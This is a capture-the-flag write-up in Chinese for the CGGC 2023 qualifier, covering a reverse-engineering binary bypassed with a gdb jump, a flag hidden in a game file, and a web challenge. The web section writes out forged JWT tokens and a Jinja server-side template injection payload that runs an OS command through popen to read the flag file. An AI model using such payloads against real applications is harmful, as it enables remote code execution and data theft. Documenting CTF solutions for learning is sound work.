CGGC 2023 初賽

Posted on | Post modified | In |

CGGC 2023 初賽

  • 隊名: 王凡補習班
  • 名次 圖片 這一次參賽雖然打出來的不多，但重點還是有學到很多東西，感謝@davidchen學長帶我飛，我覺得互相交流之後的這種隱形的貢獻也是很重要的

GaoYi

Source code

:::spoiler IDA main function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  setvbuf(stdout, 0LL, 2LL, 0LL);
  puts(TITLE);
  puts("Welcome to the Charitable Lag Vegas!");
  puts("Anyone can participate with three million US dollars.");
  puts("You play with 52 cards with (S)pades, (C)lub, (H)earts, (D)iamond.");
  puts("[+] Game 1: Predict the first 8 cards I draw in exact order.");
  puts("[+] Input example: \"C8\".");
  v47 = 0;
  for ( i = 0; i <= 7; ++i )
  {
    printf((unsigned int)"Card %c: ", i + 49, v3, v4, v5, v6, flag[0]);
    fgets(&input[32 * i], 32LL, stdin);
    if ( !(unsigned int)isACard((__int64)&input[32 * i]) )
      --v47;
  }
  for ( j = 0; j <= 7; ++j )
  {
    if ( (unsigned __int64)j_strlen_ifunc(&input[32 * j]) > 1 )
    {
      v7 = j == 7 && input[224] == 'H';
      v8 = !j && input[2] == '0';
      v9 = v8 + v7;
      v10 = j == 1 && input[32] == 'S';
      v11 = v10 + v9;
      v12 = !j && input[0] == 'H';
      v13 = v12 + v11;
      v14 = j == 1 && input[33] == '2';
      v15 = v14 + v13;
      v16 = j == 4 && input[129] == '7';
      v17 = v16 + v15;
      v18 = j == 2 && input[64] == 'C';
      v19 = v18 + v17;
      v20 = j == 3 && input[96] == 'S';
      v21 = v20 + v19;
      v22 = j == 6 && input[192] == 'H';
      v23 = v22 + v21;
      v24 = j == 2 && input[65] == '8';
      v25 = v24 + v23;
      v26 = j == 3 && input[97] == '5';
      v27 = v26 + v25;
      v28 = j == 5 && input[160] == 'S';
      v29 = v28 + v27;
      v30 = j == 4 && input[128] == 'S';
      v31 = v30 + v29;
      v32 = j == 5 && input[161] == 'A';
      v33 = v32 + v31;
      v34 = j == 6 && input[193] == '2';
      v35 = v34 + v33;
      v36 = j == 7 && input[225] == 'A';
      v44 = v35 + v36;
      v47 += v35 + v36;
    }
    else
    {
      --v47;
    }
  }
  if ( v47 > 15 )
  {
    puts("[+] Stage 2: Predict the final card I draw.");
    fgets(flag, 32LL, stdin);
    if ( (unsigned int)isACard((__int64)flag)
      && (unsigned __int64)j_strlen_ifunc(flag) > 1
      && flag[0] == 'H'
      && flag[1] == '2' )
    {
      printf((unsigned int)"Congrats! Here is your flag: ", 32, v38, v39, v40, v41, flag[0]);
      readFlag();
      return 0;
    }
    else
    {
      puts("You failed.");
      return 0;
    }
  }
  else
  {
    puts("You failed.");
    return 0;
  }
}

:::

:::spoiler IDA ReadFlag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 
void __fastcall readFlag()
{
  __int64 v0[3]; // [rsp+0h] [rbp-40h] BYREF
  _DWORD v1[3]; // [rsp+18h] [rbp-28h]
  __int64 v2; // [rsp+24h] [rbp-1Ch]
  int v3; // [rsp+38h] [rbp-8h]
  int v4; // [rsp+3Ch] [rbp-4h]

  v0[0] = '\xD8\xD8\xA2\x93\xAB\xAF\xAF\xAB';
  v0[1] = '\x86\xB7\x84\x84\xDC\x80\x9B\xB7';
  v0[2] = '\xB7\xB8\xD9\xA0\x9B\xB7\xDF\xD8';
  v1[0] = '\xBA\x8B\xDB\xBB';
  *(_QWORD *)&v1[1] = 0x8BB7D8DFB7BBDFDBLL;
  v2 = 0x959ADBA5D8DFBB9DLL;
  v4 = 0;
  v3 = 0;
  while ( v4 <= 44 )
  {
    v3 = *((char *)v0 + v4);
    v3 ^= 0xC1E8u;
    *((_BYTE *)v0 + v4++) = v3;
  }
  puts(v0);
}

:::

Recon

這一題算是除了hello world以外最水的題目了吧，主要是模擬賭神中和高義對決的場警

  1. 主要的source code行為是，他已經寫死8張牌，第一階段我們要做的事情是猜出是哪八張
  2. 第二階段是再猜出一張牌
  3. 就可以進到readFlag function中，讓他把flag給我們

但其實實際上可以用gdb bypass那些認證，直接jump就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 
$ gdb goayi
gef➤  r
Starting program: /mnt/d/NTU/CTF/CGGC 2023/Reverse/GaoYi/gaoyi
                        .(&&&&&&&&&@,
                   .@&&&&&&&&/#&&(&&&%.
                 &&&&&@@&#%@&&&&&#&&&&&&@
                &%&&#&&@%#,,*///,,*#&&&&&&
                @&&................/%&&&&&
                &&/,................/%&&&&.
                &@*#/,......*&(..,,,.,*%&&
                /&,*/&/.*....//&*/,..,,&&.
                *&,,,.../..,.........***.,
                .(,..../..,,,......,,***.%
                .//*..,,,*........,,,,**&.
                 */**,,,,..,,/*...,.,*/*&@
        &%#########&@*..,,*,.....,,*/*,.%&#&@
       &&%%%%#%%%%%%%&@....... .,(,.,,..&&##%%%%&
      %%&#&%&%%&%%%%@&&&&@%%%%#.... .  &&%%%&%%#%%%%%#
    @&&&%&&%%%%%%%%%%&&%..  ,,,       #%%%%%%%#%%%%%%%%%%&
&&@%&&%&&&&&&&&&%%%%&&&%...*,   ..   /%%%%%%&%%%%%%%%%%%%%%%
&#&&&&&&&&%&%&&%%%%%&%%%...@#,*      %%%%%%%%%%%%%%%&%%%%&%%
&&%&@&@@&%&&&&%&%%&%%%%  ,,%*/    . &%%%%%&&&%%%%%%%%%%%%%%#
&&&&&&&@@&&&&%%&%%%%%&& (&#/.&@... @%%%%%%&%%%%#%%%%%%%%%%#%

Welcome to the Charitable Lag Vegas!
Anyone can participate with three million US dollars.
You play with 52 cards with (S)pades, (C)lub, (H)earts, (D)iamond.
[+] Game 1: Predict the first 8 cards I draw in exact order.
[+] Input example: "C8".
Card 1: ^C
Program received signal SIGINT, Interrupt.
0x0000000000422d61 in read ()
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

gef➤  p &readFlag
$1 = (<text variable, no debug info> *) 0x4018dc <readFlag>
gef➤  j *0x4018dc
Continuing at 0x4018dc.
CGGC{J00_sh4ll_n07_sH1P_S3cR37S_70_cuS70M3r}�

Flag: CGGC{J00_sh4ll_n07_sH1P_S3cR37S_70_cuS70M3r}

Space game

Recon

這一題因為是賽後才寫WP，所以沒有甚麼太詳細的資訊可以記錄，不過這一題的確很misc，但通靈的方向屢屢受挫

  1. 首先題目給予一個網頁型的小遊戲(算是類似七八零年代的那種飛船打外星人的那種)，然後過關的條件是要至少活到最後並且打死30個以上的敵人，但這其實根本就和解題沒關係
  2. 如果從動態看，可以看到他import一個檔案(game.gb)，misc的地方在於他把flag藏在這個檔案中，所以其實和遊戲一點關係都沒有(心累啊!!!!!)

Exploit

圖片 如果實際去看他的binary，會發現有蠻多個flag，但學長測試下來正確的是CGGC{Y0U_WIN!!123}

Flag: CGGC{Y0U_WIN!!123}

Bossti

Background

JWT(maybe??) SSTI

Source code

Recon

這一題也是搞心態，一開始以為他是和jwt有關的題目，所以在第一天打的時候，有嘗試過直接把jwt token改變，但卻過不了，到了第二天用一樣的token卻有不一樣的效果，不知道是不是server有問題或是作者有更新 圖片

  1. admin頁面 Payload: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJyb2xlIjoiYWRtaW4iLCJoYWNrIjoiIn0.kmCiItAN6q9xCmrZ1uqhZZP96_pqD5RBMp1Umv0HFKM 螢幕擷取畫面 2023-12-03 121645
  2. boss頁面 Payload: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYm9zcyIsImhhY2siOiIifQ.VhS5VSRlR_RrgIlF-gdl-s1_PVHPQCxB3s8oHgwEPJ4 圖片
  3. 其實看了URLhttp://10.99.111.109:5000/admin?data={%27user_id%27%3A+2,+%27role%27%3A+%27admin%27,+%27hack%27%3A+%27%27}或http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27%27}才覺得應該和jwt認證沒關係，因為就算換到一個無痕頁面也一樣可以看得到，但重點是boss的頁面有給一個疑似是SSTI的提示(7*7=49經典的payload)，所以剩下的事情就是SSTI payload瘋狂輸出拿flag

Exploit - SSTI

Payload: /boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{self.__init__.__globals__.__builtins__.__import__("os").popen("cat%20Flag.txt").read()}}%27}

圖片

Flag: CGGC{"S$T1_V3RY_EZ_2_Pwn3D_C0ngr4t$"}